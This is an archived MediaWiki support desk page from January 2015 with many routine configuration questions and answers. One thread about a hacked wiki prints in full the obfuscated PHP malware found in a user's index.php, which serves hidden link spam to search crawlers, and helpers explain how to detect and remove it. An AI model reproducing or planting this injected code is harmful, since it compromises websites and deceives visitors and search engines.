Project:Support desk/Flow/2015/01

This page is an archive.
Please ask questions on the current support desk.
Category:Support desk archives#Flow%20Archive%20Support%20desk/Flow/2015/01

Integrate UploadForm.js to my wiki

How do I integrate UploadForm.js of wikimedia commons to my wiki and add add additional fields to the file upload form? 208.116.10.33 (talk) 09:14, 1 January 2015 (UTC)

This is probably a better question for Wikimedia Commons. I don't know how they did this. MarkAHershberger(talk) 18:59, 3 January 2015 (UTC)

Problem with transcluding a page from Wikipedia

I am using a Mediawiki image from Bitnami with the following software installed:

  - MediaWiki 1.24.0
  - PHP 5.4.35 (fpm-fcgi)
  - MySQL 5.5.40

I am having problems transcluding a page from Wikipedia; I am using the following tag:

  {{wikipedia:Wikipedia:Village pump|Wikipedia:Village pump}}

And I get the error message:

  [Vorlagenabruf fehlgeschlagen für https://en.wikipedia.org/wiki/Template:Wikipedia:Village_pump?action=render: HTTP 404]

Obviously Mediawiki is adding "Template:" although the namespace "Wikipedia:" has been specified.

I would be grateful for a tip how to fix this problem. 109.193.16.235 (talk) 22:24, 1 January 2015 (UTC)

I think you want Manual:$wgEnableScaryTranscluding. MarkAHershberger(talk) 22:48, 1 January 2015 (UTC)
Hi Mark,
thanks for your feedback.
But I have been setting $wgEnableScaryTranscluding to 'true' and the iw_trans bit in the interwiki table to the value 1.
If $wgEnableScaryTranscluding has not been set, then the message would by "[Interwiki-Einbindung ist deaktiviert] / [Interwiki is not activated]".
I rather think, that there is an issue with the parsing of the interwiki tag.
Regards Stephan 109.193.16.235 19:14, 3 January 2015 (UTC)

Seach to a specific page/word

Is it possible to search something and to navigate to the searching word simply

When I search for something, I found a list of pages where the searching words prevents. After I navigate to the page and on that page I search with CTRL + F for the word I am looking for. Is it possible to search for a word and directly navigate to that part of the page (Where the page prevents my searching word)??

Thanks in advance 62.41.129.103 (talk) 13:14, 2 January 2015 (UTC)

It looks like you're using the word "prevents" when you mean "presents". With that in mind, I think you're question should read:
When I search for something, I found a list of pages where the word I'm searching for appears. After I navigate to the page and on that page I search with CTRL + F for the word I am looking for. Is it possible to search for a word and directly navigate to that part of the page (Where the page clearly shows the word I am searching for)??
(Italics replace the bits I think need it.)
It looks like you could use something like this. MarkAHershberger(talk) 01:40, 3 January 2015 (UTC)
Thanks for the reply.
Yes, it is something like the example Search Keyword Highlighting.
What I want for example:
I have a page named "Troubleshooting"
On the page "Troubleshooting" I have an article named : "Bug fix"

I want to search in my wiki for "Bug fix"
When I search for "Bug fix", than I found the page "Troubleshooting" and than I have to search for "Bug fix" with CTRl + F (Standaard search function of windows)
I want to search for "Bug fix" than mediawiki must give me the possibility to search for "Bug fix" on the page "Troubleshooting" or Highlighting the words "Bug fix"
Thanks in advance
62.41.129.103 07:56, 8 January 2015 (UTC)

[RESOLVED] - HACKED - Hidden texts automatically inserted in old and new pages

When I create a page in my wiki, hidden links are automatically inserted in that page.

Actually I found the problem through google because google reported that my site was hacked. Found out that all my wiki pages has these hidden links. They were all automatically inserted.

Then I discovered today that these links are embedded some place in the wiki to automatically be inserted to all old pages and into newly created pages.

These links are not visible when viewing the page. They do not show up in the browsers. And when I view the source of the page in both wiki and browser none of the links show up. They are all CLOAKED. They only show up when I check it in google webmaster tools.

I just created this page: http://www.zamboanga.com/z/index.php?title=Hacked

And immediately those links were embedded. I used this tool besides google: http://isithacked.com/

If I check my main root site the cloaking do not exist there. The cloaking only exists within the wiki folder.

I have already changed all the admin passwords. I do not have any auto registration. Registration is only done by admin.

I checked with the host server and all is clean from any malware. The target of this cloaking is specifically the mediawiki site within the folder "z".

Apparently this hacking occurred back in November of 2014 and since then we have made thousands of edits in the wiki already, so using a backup to restore is not recommended.

How do I resolve this problem? Kuhitkuhit (talk) 19:26, 2 January 2015 (UTC)

Which version of MediaWiki are you using and which MediaWiki version(s) have you been using since November 2014?
Before you start cleaning up the mess, you must find out, how the attacker gained access to your server. Did he have your FTP data? Did he log in somehow (to Plesk or what you are running)? Did he maybe gain access through a completely different installation in your account (e.g. you still have another system running,for example an old WordPress version or Joomla or so)? Or did he maybe infect a completely different account and could then infect your files?
Check back with your host to figure that out! 88.130.112.132 20:11, 2 January 2015 (UTC)
I am using this:
MediaWiki 1.19.1
PHP 5.3.29 (cgi-fcgi)
MySQL 5.5.36-cll
I do not allow auto creation of users. But there is a possibility that one of the admin's password has been compromised. So I am pretty sure that this code was created within the folder "z" where the wiki is located.
I have joomla but that was disabled before the hacking started.
Prior to November of 2014 I have had no problems at all.
If I can only find where those text links are located.
I found the subfolder that the hacker created and that was deleted. I thought that took care of the problem but obviously it still persists. Whenever, a new page is created the "cloaked" or "invisible" text links are immediately embedded into the wiki page. Can't see it in the source of the wiki page. Only when you test that page with the http://isithacked.com/ toll can you see it. Kuhitkuhit (talk) 21:54, 2 January 2015 (UTC)
Look at your index.php for mediawiki. There is probably some code right at the top of that file that is putting out the garbage for GoogleBot.
Using the following command, I was able to simulate googlebot at get the messed up code from your site:
curl -A 'Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)' 'http://www.zamboanga.com/z/index.php?title=Hacked'
I was able to see a list of urls that the malicious code put right above MediaWiki's output. The last bit that was printed was:
<!-- HTML 3.51.234 -->
Using Google to search for this bit, I came across this encoded PHP string, so you might be looking for something like that at the beginning of your index.php. MarkAHershberger(talk) 22:09, 2 January 2015 (UTC)
Note that trying the GoogleBot user agent with api.php or thumb.php didn't produce the strange HTML, so I think you are definitely looking in index.php MarkAHershberger(talk) 22:10, 2 January 2015 (UTC)
I found this at the top of my index.php
----
<?php
$OOO000000=urldecode('%66%67%36%73%62%65%68%70%72%61%34%63%6f%5f%74%6e%64');$OOO0000O0=$OOO000000{4}.$OOO000000{9}.$OOO000000{3}.$OOO000000{5};$OOO0000O0.=$OOO000000{2}.$OOO000000{10}.$OOO000000{13}.$OOO000000{16};$OOO0000O0.=$OOO0000O0{3}.$OOO000000{11}.$OOO000000{12}.$OOO0000O0{7}.$OOO000000{5};$OOO000O00=$OOO000000{0}.$OOO000000{12}.$OOO000000{7}.$OOO000000{5}.$OOO000000{15};$O0O000O00=$OOO000000{0}.$OOO000000{1}.$OOO000000{5}.$OOO000000{14};$O0O000O0O=$O0O000O00.$OOO000000{11};$O0O000O00=$O0O000O00.$OOO000000{3};$O0O00OO00=$OOO000000{0}.$OOO000000{8}.$OOO000000{5}.$OOO000000{9}.$OOO000000{16};$OOO00000O=$OOO000000{3}.$OOO000000{14}.$OOO000000{8}.$OOO000000{14}.$OOO000000{8};$OOO0O0O00=__FILE__;$OO00O0000=0x10b4;eval($OOO0000O0('aWYgKHByZWdfbWF0Y2goJy9nb29nbGV8eWFob298bXNufHJvYm90fGJpbmd8YW9sfHNwaWRlci9pJywgJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddKSl7JHJvb3QgPSAiaHR0cDovLyIuaGV4ZGVjKCIyNSIpLmNocigiNDYiKS5iaW5kZWMoaGV4ZGVjKCIxIikpLmNocigiNDYiKS5vY3RkZWMoaGV4ZGVjKCIxMzkiKSkuY2hyKCI0NiIpLmJpbmRlYyhoZXhkZWMoImE5NjM1MiIpKTskcHJvamVjdCA9ICI8IS0tIEhUTUwgMy41MS4yMzQgLS0+IjtpZiAoQGV4dGVuc2lvbl9sb2FkZWQoJ2N1cmwnKSl7JG1ldGhvZCA9ICJjdXJsIjt9ZWxzZXskbWV0aG9kID0gImZnYyI7fSRzZXJ2ZXJfaG9zdCA9IEAkX1NFUlZFUlsnSFRUUF9IT1NUJ107JHVybCA9ICRyb290LiIvX2Rvb3J3YXlzL21hcC8kc2VydmVyX2hvc3QuaHRtbCI7JHVybDIgPSAkcm9vdC4iL19kb29yd2F5cy9tYXAvbWFwLmh0bWwiOyRtYXAgPSBnZXRVcmwoJHVybCwgJG1ldGhvZCk7aWYgKHByZWdfbWF0Y2goJy9ocmVmL2knLCAkbWFwKSl7ZWNobyAkbWFwLiRwcm9qZWN0O31lbHNleyRtYXAgPSBnZXRVcmwoJHVybDIsICRtZXRob2QpO2VjaG8gJG1hcC4kcHJvamVjdDt9fWZ1bmN0aW9uIGdldFVybCgkdXJsLCAkbWV0aG9kKXtpZiAoJG1ldGhvZD09J2N1cmwnKXskY3VybD1AY3VybF9pbml0KCk7QGN1cmxfc2V0b3B0KCRjdXJsLENVUkxPUFRfVVJMLCR1cmwpO0BjdXJsX3NldG9wdCgkY3VybCxDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLDEpO0BjdXJsX3NldG9wdCgkY3VybCxDVVJMT1BUX0NPTk5FQ1RUSU1FT1VULDE1KTtAY3VybF9zZXRvcHQoJGN1cmwsQ1VSTE9QVF9USU1FT1VULDE1KTtAY3VybF9zZXRvcHQoJGN1cmwsQ1VSTE9QVF9WRVJCT1NFLDApO0BjdXJsX3NldG9wdCgkY3VybCxDVVJMT1BUX0hFQURFUiwwKTtAY3VybF9zZXRvcHQoJGN1cmwsQ1VSTE9QVF9OT0JPRFksMCk7QGN1cmxfc2V0b3B0KCRjdXJsLENVUkxPUFRfRk9MTE9XTE9DQVRJT04sMSk7JGh0bWw9QGN1cmxfZXhlYygkY3VybCk7QGN1cmxfY2xvc2UoJGN1cmwpO3JldHVybiAkaHRtbDt9ZWxzZXskaHRtbD1AZmlsZV9nZXRfY29udGVudHMoJHVybCk7cmV0dXJuICRodG1sO319'));
?><?php
Do I delete those codes? Kuhitkuhit (talk) 22:39, 2 January 2015 (UTC)
I just saw a clean index.php from another site that I have access to and those code are not there. I just want to make sure if it safe to delete them. Kuhitkuhit (talk) 22:49, 2 January 2015 (UTC)
Thank you so much User:MarkAHershberger.
I deleted those codes. And now the wiki is clean. Thank you. Kuhitkuhit (talk) 23:00, 2 January 2015 (UTC)
Please note that this only is part of the solution: Even if a wiki administrator account would have been compromised, this would usually not give people file system access. Meaning: A compromised admin account usually does not lead to manipulated files. As long as you do not know how you got compromised and that hole is not closed, this or a similar attack can happen again at any time. 88.130.103.226 23:28, 2 January 2015 (UTC)

Adding New Users to the wiki

At our office we use this wiki to log troubleshooting methods and known fixes for all to access in the IT Dept. However our former manager who setup the wiki has left and we do not know how to add new users or grant new hires access to this page. We only have the logons that we have had all along. Is there an easy way to add users to our wiki, or any way at all?

thanks! 67.208.166.234 (talk) 20:22, 2 January 2015 (UTC)

What happens if you access Special:CreateAccount ??
But if you use the wiki in your IT depart. it maybe uses some other auth method instead of MediaWiki's own user management. Maybe you should try to contact your former administrator or try to find some documentation to find it out :) Florianschmidtwelzow (talk) 20:44, 2 January 2015 (UTC)
Who manages the system that your wiki is installed on? If you have command line access you can promote the users that need it to be administrators. MarkAHershberger(talk) 21:50, 2 January 2015 (UTC)

Locks failing to release

Releaes prcess locks -have 6 locks- when attemnptiung to use this it fails and processes are not released.

Have been able to release in past and permissions have not changed,

SELECT L.LOCKID, ProcessType=C.NAME, ProcessName=A.NAME, L.LOCKEDBY, L.LOCKACQUIRED, L.RUNNING FROM CADIS_SYS.CO_PROCESSLOCK L JOIN CADIS_SYS.VW_ALL_PROCESSES A ON A.COMPONENTID=L.COMPONENTID AND A.GUID=L.GUID AND A.OBSOLETE = 0 JOIN CADIS_SYS.CO_COMPONENT C ON C.ID=L.COMPONENTID

Returns...

LOCKID COMPONENTID GUID LOCKEDBY LOCKACQUIRED RUNNING 1975738 8 df49aec602f34a7983b459bea029fc70 EUROPE1\ETLServicePRD_svc 2015-01-03 05:02:27.020 1 1975740 8 66a3ed9ef403440480df05a4c27dc086 EUROPE1\ETLServicePRD_svc 2015-01-03 05:02:28.037 1 1975746 5 b95ac76360094b5fb8e13a588963fe45 EUROPE1\ETLServicePRD_svc 2015-01-03 05:02:31.580 1 1975766 0 547eb395fcf04b359821308f78525564 EUROPE1\ETLServicePRD_svc 2015-01-03 05:04:45.333 1 1975769 8 3b2ebd1e9b4943f097e173c630fcb3d6 EUROPE1\ETLServicePRD_svc 2015-01-03 05:05:39.340 1 1975770 0 9e8a4741cff7411990d0a299b1e40b34 EUROPE1\ETLServicePRD_svc 2015-01-03 05:05:41.933 1

Is unloackign just removing from this table. Nothing is currently running that woull account for these entries

Thanks

Stephen 193.109.254.21 (talk) 09:34, 3 January 2015 (UTC)

This doesn't sound like a MediaWiki problem. MarkAHershberger(talk) 19:07, 3 January 2015 (UTC)

[RESOLVED] - Problem with Javascript

I had a perfectly working wiki until four days ago, when I started to get the following mime type problems:

Resource interpreted as Stylesheet but transferred with MIME type text/html: "http://drebbel.net/wiki/load.php?debug=false&lang=en&modules=ext.slideshow.…face%7Cmediawiki.ui.button%7Cskins.vector.styles&only=styles&skin=vector&*".

Main_Page:17 Resource interpreted as Stylesheet but transferred with MIME type text/html: "http://drebbel.net/wiki/load.php?debug=false&lang=en&modules=site&only=styles&skin=vector&*".

Main_Page:20 Resource interpreted as Script but transferred with MIME type text/html: "http://drebbel.net/wiki/load.php?debug=false&lang=en&modules=startup&only=scripts&skin=vector&*".

Main_Page:1 Refused to execute script from 'http://drebbel.net/wiki/load.php?debug=false&lang=en&modules=startup&only=scripts&skin=vector&*' because its MIME type ('text/html') is not executable, and strict MIME type checking is enabled.

My site is drebbel.net/wiki

Product Version
MediaWiki 1.24.1
PHP 5.3.28 (apache2handler)
MySQL 5.0.95

I tried including

  • AddType text/css css
  • AddType application/x-javascript js
  • AddType application/json json

into .htaccess to no avail.

I'm using a paid hostserver. EFFemeer (talk) 11:24, 3 January 2015 (UTC)

Look in your LocalSettings.php before the starting <?php and remove the point "." there (before the <?php should be nothing). Florianschmidtwelzow (talk) 15:21, 3 January 2015 (UTC)
Wow. Thank you Florian. You made the right point.
I think this should be made more well-known, because there are some text editors which tend to add such a point before <?php EFFemeer (talk) 15:44, 3 January 2015 (UTC)

Can't delete "my shares"

I have items that ended up in my library that I can't seem to delete. When I try it tells me "to remove the download remove the associated share: go to Tools - > My Shares. I go there and see a list of stuff (I'm not sure how it got there), but when I try to remove them, it does nothing. I've tried removing the original files on my hard disk, that doesn't work either.

How do I get these out of my library? 24.24.187.248 (talk) 15:50, 3 January 2015 (UTC)

I am not sure what software product you are talking about, but looking up that sentence on Google makes me think it's not MediaWiki... 88.130.103.226 16:46, 3 January 2015 (UTC)

How to add custom buttons to WikiEditor?

Manual:Custom edit buttons only works with upload.wikimedia.org URLs?! As soon as I use my own URL I get

Uncaught TypeError: undefined is not a functionload.php?debug=false&lang=en&modules=site&only=scripts&skin=vector&*:1 (anonymous function)load.php?debug=false&lang=en&modules=jquery%2Cmediawiki&only=scripts&skin=vector&version=20150103T1…:44 jQuery.Callbacks.fireload.php?debug=false&lang=en&modules=jquery%2Cmediawiki&only=scripts&skin=vector&version=20150103T1…:45 jQuery.Callbacks.self.addload.php?debug=false&lang=en&modules=jquery%2Cmediawiki&only=scripts&skin=vector&version=20150103T1…:48 jQuery.fn.readyload.php?debug=false&lang=en&modules=site&only=scripts&skin=vector&*:1 (anonymous function) Subfader (talk) 17:14, 3 January 2015 (UTC)
Could you share the code you're trying to use? MarkAHershberger(talk) 18:56, 3 January 2015 (UTC)

$wgLocalisationCacheConf performance: file or db storage?

The usage of $wgLocalisationCacheConf is not clear to me.

I have $wgUseLocalMessageCache = true; and

$wgMainCacheType = CACHE_MEMCACHED;
$wgParserCacheType = CACHE_MEMCACHED; # optional
$wgMessageCacheType = CACHE_MEMCACHED; # optional

Is it better to store the messages as db file or in the database?

An enabled memcached doesn't help much I guess?

I use 'store' => 'files' because guess 'detect' takes a little bit longer? Subfader (talk) 00:29, 4 January 2015 (UTC)

This is a good question for someone on the i18n team. Perhaps Amir or Siebrand can help? MarkAHershberger(talk) 21:03, 4 January 2015 (UTC)
Hmh, I use my wiki only in en. Does that matter? I guess so. Atm a file "l10n_cache-en.cdb" (555 KB) is written. Subfader (talk) 23:28, 4 January 2015 (UTC)
Using cdb files will be significantly faster than the database. Legoktm (talk) 20:19, 6 January 2015 (UTC)
Thanks! 217.247.174.213 15:54, 10 January 2015 (UTC)

[RESOLVED] Widget:Google Spreadsheet fails

Note In order to keep my wiki up to date, I now embedded the most important sheets with the Iframe widget. Still convinced that Widget:Google Spreadsheet isn't working properly.


All the sudden my Widget:Google Spreadsheet (such as http://drebbel.net/wiki/Test:Nowadays) started to fail with a Refused to display 'https://spreadsheets.google.com/...' in a frame because it set 'X-Frame-Options' to 'SAMEORIGIN'. message. This is the sheet. (published and shared anyone with the link) Widget:Google Document however works fine ... Published everything the same way.

  • Manual:$wgBreakFrames
  • Manual:$wgApiFrameOptions and similar

don't change anything.

My site is drebbel.net/wiki

Product Version
MediaWiki 1.24.1
PHP 5.3.28 (apache2handler)
MySQL 5.0.95

Any idea?

Thanks in advance. EFFemeer (talk) 09:27, 4 January 2015 (UTC)

I don't know if changed anything, but I see that the chart displays correctly on the page, without error now. Ciencia Al Poder (talk) 20:45, 6 January 2015 (UTC)
Dear Ciencia, in order to keep my wiki upto date I altered the most important sheet using the Iframe Widget.
Please look at http://drebbel.net/wiki/Test:Nowadays to see a failing sheet. EFFemeer (talk) 08:37, 7 January 2015 (UTC)
The problem isn't your MediaWiki installation.
Manual:$wgBreakFrames and Manual:$wgApiFrameOptions etc won't help you, since that controls whether to allow your wiki to be inserted inside another page in a frame. But this is different. That's about inserting google spreadsheets inside your MediaWiki.
If you take a closer look, you'll see that your iframe widget is using one URL for the spreadsheet, while the google spreadsheet widget is using a different one. Editing how it constructs the URL in so it's the same as the iframe that works would solve the issue. Ciencia Al Poder (talk) 10:44, 7 January 2015 (UTC)
Thank you for this hint Ciencia. I'll try to modify the URL.
However I don't understand why the widget has been working properly for several weeks and then all the sudden stopped. EFFemeer (talk) 12:16, 7 January 2015 (UTC)
Thank you Ciencia. Your hint made the widget work. Could you ask the responsibles to change the code?

For all those who might encounter the same problem:
1) Download the latest version of the Widget at: http://wiki.glitchdata.com/index.php?title=Widget:Google_Spreadsheet&action=edit


2) Replace <iframe> .... </iframe> by:
<nowiki><iframe src="<!--{$url|validate:url}-->" frameborder="<!--{$border|validate:int|default:0}-->" width="<!--{$width|escape:html|default:400}-->" height="<!--{$height|escape:html|default:300}-->"></iframe></nowiki>

3) include the widget with:
{{#widget:Google Spreadsheet |
url=https://docs.google.com/spreadsheets/d/ Google Sheet code/pubhtml |
width=200 |
height=350 }}

Don't forget to remove the compiled widget code! EFFemeer (talk) 12:40, 7 January 2015 (UTC)
Note that the repository of widgets seems to be , which has a different syntax. Ciencia Al Poder (talk) 10:35, 9 January 2015 (UTC)
Which adds to the confusion, as that page says:
* Since Google Docs migrated to Google Drive, the reference for the template code has change. The latest is available [http://wiki.glitchdata.com/index.php?title=Widget:Google_Spreadsheet here]. 217.123.55.84 10:59, 10 January 2015 (UTC)

Installing an older version of Mediawiki

Hey guys. Because my hosting company won't update PCRE from version 6.6 I am kinda stuck with a problem - I really want to add a wiki to my site in order to create a user guide for my game system, but I can't use the current release until I ditch my hosting company in October (when the package runs out). Can anyone recommend a version of the wiki I can install and then upgrade latter? I realise that many of you won't like this idea but as long as it is stable it shouldn't matter.

If possible, can someone also talk me through adding a licence that lets me copyright the content I produce? My system is free to play, but I still want to keep control of my work in case I want to publish it in some way later. (My idea is basically to use the wiki software as a web template rather than an open system.) Thanks in advance! Tiggywolf (talk) 15:23, 4 January 2015 (UTC)

You can install MediaWiki 1.19 which will be supported for a few more months. MarkAHershberger(talk) 20:53, 4 January 2015 (UTC)
Cool! Thanks a lot! Have you any advice on the licencing thing as well? 80.229.57.219 19:00, 6 January 2015 (UTC)
By the way, could you tell me if this style would work for 1.19?
https://www.mediawiki.org/wiki/Skin:DeskMessMirrored 80.229.57.219 23:46, 6 January 2015 (UTC)
It seems the extension won't be compatible with 1.19, looking at the skin page Ciencia Al Poder (talk) 10:50, 7 January 2015 (UTC)
See Manual:$wgRightsText. Basically, MediaWiki has some predefined licensing options, but you can change it with that variable and the other related ones to anything you want, even an "All rights reserved" one. Ciencia Al Poder (talk) 10:51, 7 January 2015 (UTC)

Disable Media viewer globallly

How can I disable the "Media viewer" globally, i.e., on all MediaWiki projects, once and forever? The "opt-out" feature does not work for me when I'm trying to check media found on other projects (not the wikis where I have set local preferences to "op-in".) BTW, this is at best spam. Be..anyone 💩 17:30, 4 January 2015 (UTC)

See here. If you would rather a universal preference, then you should probably post on that page or create a task in phabricator. MarkAHershberger(talk) 20:50, 4 January 2015 (UTC)

API: Disable dangerous "createaccount" action?

I have disabled editing for anons and use various anti-spam protections.

And I use $wgEnableWriteAPI = true because ajax watching is nice.

I find it somehow dangerous to have API actions like createaccount. I disabled it manually now in the core, but a proper way might be better?

Also, how does that work together with Extension:ConfirmEdit? Subfader (talk) 23:20, 4 January 2015 (UTC)

The recommended way to disable API account creation (or any API action module) is to use $wgAPIModules['createaccount'] = 'ApiDisabled'; in LocalSettings.php. See API:Restricting API usage.
API account creations still have to solve the captcha. I don't know how it works with ReCaptcha, but with FancyCaptcha the API gives the client a URL to the captcha image, and the client has to respond with the captcha solution in a subsequent API request. This, that and the other (talk) 05:38, 5 January 2015 (UTC)
For reCaptcha (or in general any other CAPTCHA module) you should get all required data to rebuild the CAPTCHA form yourself to solve it (in reCaptcha e.g. the public key). You can send the response (of the user) to the api and it should work. But i never tested it, nor i used it :/ Florianschmidtwelzow (talk) 01:41, 10 January 2015 (UTC)

Special:RecentChanges not updating since move to new server and latest version

Mediawiki - 1.24.1
php - 5.5.12-2ubuntu4.1 (apache2handler)
MySQL - 5.5.40-0ubuntu1

Hi all,

I have recently moved my wiki to a new server box. I installed v1.24 as a new install and subsequently imported the old wiki via a mysql dump, the wiki runs fine except that the special:recentchanges is not updating and as sucj my news extension isn't updating either. Additionally, the recent changes that are there show the wrong year, everything shows 2015 for updates that occurred in 2014.

Any ideas please? I'm afraid I cannot link to my wiki as it is hosted on an internal clean network.

Colin 212.159.104.33 (talk) 09:49, 5 January 2015 (UTC)

Hi Colin,
you can run the maintenance script rebuildall.php from the shell in order to rebuild several database tables among them the recent changes.
MediaWiki is for each entry saving the date in its own format somewhere inside the database. I think there is an option to adjust the timezone, which MediaWiki should use internally, but I do not know of a setting, which would change dates for days or weeks. Either the new server or the old server or both must have a different or an incorrect configuration concerning the server time and date. 88.130.65.181 12:16, 5 January 2015 (UTC)
Thanks for the reply. I have run rebuildall.php and rebuildrecentchanges.php with no effect!!
Also timezone is all good. 212.159.104.33 12:51, 5 January 2015 (UTC)
What happens when you do an edit just right now. Check the page history of the according page: Does it show the correct date and time? Or is the date/time displayed there wrong as well? What about old entries e.g. from before the server move? 88.130.65.181 14:03, 5 January 2015 (UTC)
When I edit a page at present, the page history tab updates correctly and logs the new edits. The time date is exactly right, including the year.
So it is logging in page history perfectly but this is not appearing in Special:Recentchanges..???? Colin2030 (talk) 08:01, 6 January 2015 (UTC)
And what about old entries e.g. from before the server move? Is their date/time displayed correctly or is it wrong? 88.130.107.37 14:38, 6 January 2015 (UTC)
Some further developments...

Using phpmyadmin I went to the recentchanges table and cleared the data through the TRUNCATE action. This firstly appeared to solve the issue. Subsequent updates were appearing in Recentchanges as normal.
HOWEVER! When I ran rebuildall.php and update.php the recentchanges table seemed to 'roll back' to when I was having problems. i.e. the table re-populated with old data and refused to update further.
Any more thoughts? Colin2030 (talk) 13:55, 6 January 2015 (UTC)

Cannot login to the wiki and cannot login on my iphone

Whenever I try to login on the wiki or via my iphone it says Login error There is no user by the name "zenopolos". Check your spelling. But I am able to login to the game via any computer. Please help. gzenon@yahoo.com 108.30.208.40 (talk) 21:25, 5 January 2015 (UTC)

Hi!
I am pretty sure you are wrong here: Since you are speaking about "the game", I guess you mean one special wiki (which is not Wikipedia). That means you should ask one of the administrators of that wiki for help.
Please note that usernames in MediaWiki by default have to start with an uppercase letter. Generally this error message means that ... this username does not exist. The admin of the according wiki should be able to tell you more about the why... 88.130.65.181 22:16, 5 January 2015 (UTC)

Not able to create a new account

Hi,

I have been recently deployed in a project that uses media wiki.

When i try to create a new user account, i am getting this error. The user account was not created, as we could not confirm its source. Ensure you have cookies enabled, reload this page and try again

For some reasons I cant share the url.

I am using Mediawiki 1.20.5.

PHP 5.3.5

MYSQL 5.5.8.

Please help me as soon as possible. 125.18.106.145 (talk) 06:55, 6 January 2015 (UTC)

The message that you posted says "Ensure you have cookies enabled" but you did not tell us yet if you ensured that you have cookies enabled. Malyacko (talk) 10:06, 6 January 2015 (UTC)

Rendering failed

When I try to download my book as pdf, I encountered this problem many times.

"Generation of the document file has failed.

Status: Rendering process died with non zero code: 1"

The link to the book: https://tr.wikipedia.org/wiki/Kullan%C4%B1c%C4%B1:Skovorodnikof/Kitaplar/Vikipedi_Makaleleri3 Skovorodnikof (talk) 00:56, 7 January 2015 (UTC)

I've added a comment to the corresponding bug report. AKlapper (WMF) (talk) 11:42, 7 January 2015 (UTC)

How to integrate wikimedia commons's upload form in my wiki?

I am not talking about Common's Upload Wizard extension.

Wikimedia commons use a special upload form that is not commonly used in any other wikis. It has more fields for entering metadata like Author(s), Original source etc.After doing some research I came to know it is using UploadForm.js. I read the documentation but I couldn't find a way to add it to my wiki so that I would be able to add more metadata fields in my wiki's upload form. Could somebody please help? 208.116.10.45 (talk) 04:46, 7 January 2015 (UTC)

[RESOLVED] Login page doesn't load MediaWiki:Monobook.css

Hi all,

I updated my wiki directly from the git repository (git checkout '1.24.1').

Everything looks fine except the login page (<MYURL>/w/index.php?title=Special:UserLogin).

This page doesn't load my CSS modifications in MediaWiki:Monobook.css. Is this a problem in the skin or in the MediaWiki version?

MediaWiki: 1.24.1 (4cec600) PHP: 5.4.35 (cgi-fcgi) MySQL: 5.5.37-log

Thanks, Ray 193.5.187.42 (talk) 08:26, 7 January 2015 (UTC)

It's a recent change. You'll need to turn Manual:$wgAllowSiteCSSOnRestrictedPages on. Ciencia Al Poder (talk) 10:56, 7 January 2015 (UTC)
That solved my problem.
Thank you for the hint. 217.162.209.6 19:03, 7 January 2015 (UTC)

[RESOLVED] After upgrading namespace prefix file: no longer works, but legacy image: does.

I updated a Mediawiki 1.18.1 to 1.23.8 as described according to the Manual:Upgrading page.

Everything looked good. The php maintenance/upgrade.php showed no errors.

But all images are no longer displayed. The namespace prefix file: like so

[[file:name.png]]

no longer works.

I found out that images are displayed if i use the prefix image: or image in german bild: or file in german datei:.

I tried an upgrade to 1.19.23 and there the prefix file: still works but not on 1.21.11

I use the German Language code: $wgLanguageCode = "de-ch" and use PHP 5.4.34 and MySQL 5.6.13. Ardvan (talk) 15:12, 7 January 2015 (UTC)

Be sure you don't have file: in $wgUrlProtocols Ciencia Al Poder (talk) 11:01, 8 January 2015 (UTC)
Yes, it was defined in $wgUrlProtocols without the trailing slashes.
Found the warning about this here Manual:$wgUrlProtocols#Details
Thanks for the help. I think this was the problem. Ardvan (talk) 16:42, 11 January 2015 (UTC)

[RESOLVED] Parser fuction #if no working in 1.24¿?

MW 1.24.1 PHP Version 5.3.27 Mysql 5.5.40

I tried that fuction without result

In a template

{{#if: | yes | no}}
{{#if: string | yes | no}}
{{{1|}}}
{{#if: {{{1|}}} | Parameter 1 is defined and non-null/non-empty. | Parameter 1 is not defined, or is defined but null. It contains only empty string(s) or breaking space(s) etc.}}
Valida {{{textvalida}}} Valida2 {{{testvalida2}}}.

In page:

{{Ejemplo de plantilla
|1=10
|testvalida = oK
|testvalida2 = Ok OK
}}

Result:

{{#if: | yes | no}} {{#if: string | yes | no}} 10 {{#if: 10 | Parameter 1 is defined and non-null/non-empty. | Parameter 1 is not defined, or is defined but null. It contains only empty string(s) or breaking space(s) etc.}} Valida oK Valida2 Ok OK.

But here is working properly, may i install some extension more 89.129.235.83 (talk) 17:36, 7 January 2015 (UTC)

If the {{#if: }} syntax is leaked on the page, that means you haven't enabled Extension:ParserFunctions. Ciencia Al Poder (talk) 11:04, 8 January 2015 (UTC)
Right, problem solved, I donwload the extenson to the directory and updated the localsettings.php
Thanks 89.129.235.83 22:22, 8 January 2015 (UTC)

email confirmation for mediawiki

Hi All, I have a problem with email confirmation in Mediawiki which took me around one months and still no success, so any help would be highly appreciated. I have installed mediawiki over WAMP in one of the servers of my company LAN. The SMTP server (exchange server) is different from the one that I have installed mediawiki on it. now I need to use a method to make it able to work between the two servers, I installed PEAR as well but nothing yet. I am using mediawiki for a centralized documentation platform for my work. I installed mediawiki in one server. Normally when I want to confirm my email it should work but it does not. And get a fatal error. On the other hand, the organization that I work has exchange server so I thought that it is better to use my work email, but the mediawiki can not communicate with exchange server. I hope to get rid of this problem otherwise i can not use notification extension, I need to notify other users of documentation platform about the recent changes by email so if it does not work I can not and the documentation is not useful.

this is from php.ini

[mail function]mail

For Win32 only.
http://php.net/smtp

SMTP ='http://192........' "the ip address of the smtp (exchange) server "

http://php.net/smtp-port

smtp_port = 27

For Win32 only.
http://php.net/sendmail-from

sendmail_from = you@yourdomain

For Unix only. You may supply arguments as well (default
"sendmail -t -i").
http://php.net/sendmail-path

sendmail_path = "C:\wamp\sendmail\sendmail.exe -t"


and this is from LocalSetting.php

  1. Email

$wgSMTP = array( 'host' => "http://192.........", "the ip address of the smtp (exchange) server " 'IDHost' => "Name of the exchange server", 'port'=> 27, 'auth' => false, );


any help would be really appreciated.


Regards, Poopak Poopak~mediawikiwiki (talk) 04:38, 8 January 2015 (UTC)

Why it ask me whether to 'clear the cache of this page' all the time

I setup the media wiki with SimpleSAML extension ready. I can log into the wiki. However, every time when the cookie is expired, the page will ask me to clear the cache with following messages. Is there something wrong in settings? I went through http://www.mediawiki.org/wiki/Manual:System_administration but didn't find obvious variable to make it right. Idea?


Clear the cache of this page? [OK button] Purging a page clears the cache and forces the most current revision to appear. 2601:8:9800:9ED0:4429:1F24:AD34:AEEE (talk) 07:02, 8 January 2015 (UTC)

